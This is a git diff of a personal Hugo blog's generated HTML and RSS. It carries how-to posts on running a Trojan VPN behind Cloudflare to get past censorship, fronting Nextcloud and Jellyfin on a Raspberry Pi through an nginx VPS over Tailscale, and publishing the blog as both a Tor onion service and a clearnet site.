    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/bypass/page/1/index.html b/public-clearnet/tags/bypass/page/1/index.html new file mode 100644 index 0000000..a78f162 --- /dev/null +++ b/public-clearnet/tags/bypass/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/bypass/ + \ No newline at end of file diff --git a/public-clearnet/tags/cloudflare/index.html b/public-clearnet/tags/cloudflare/index.html new file mode 100644 index 0000000..d99edd3 --- /dev/null +++ b/public-clearnet/tags/cloudflare/index.html @@ -0,0 +1,26 @@ +Cloudflare | AlipourIm journeys +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/cloudflare/index.xml b/public-clearnet/tags/cloudflare/index.xml new file mode 100644 index 0000000..0423a3f --- /dev/null +++ b/public-clearnet/tags/cloudflare/index.xml @@ -0,0 +1,742 @@ +Cloudflare on AlipourIm journeyshttps://blog.alipour.eu/tags/cloudflare/Recent content in Cloudflare on AlipourIm journeysHugo -- 0.146.0enMon, 02 Feb 2026 00:00:00 +0000Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfinhttps://blog.alipour.eu/posts/pi_service_touchup/Mon, 02 Feb 2026 00:00:00 +0000https://blog.alipour.eu/posts/pi_service_touchup/Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
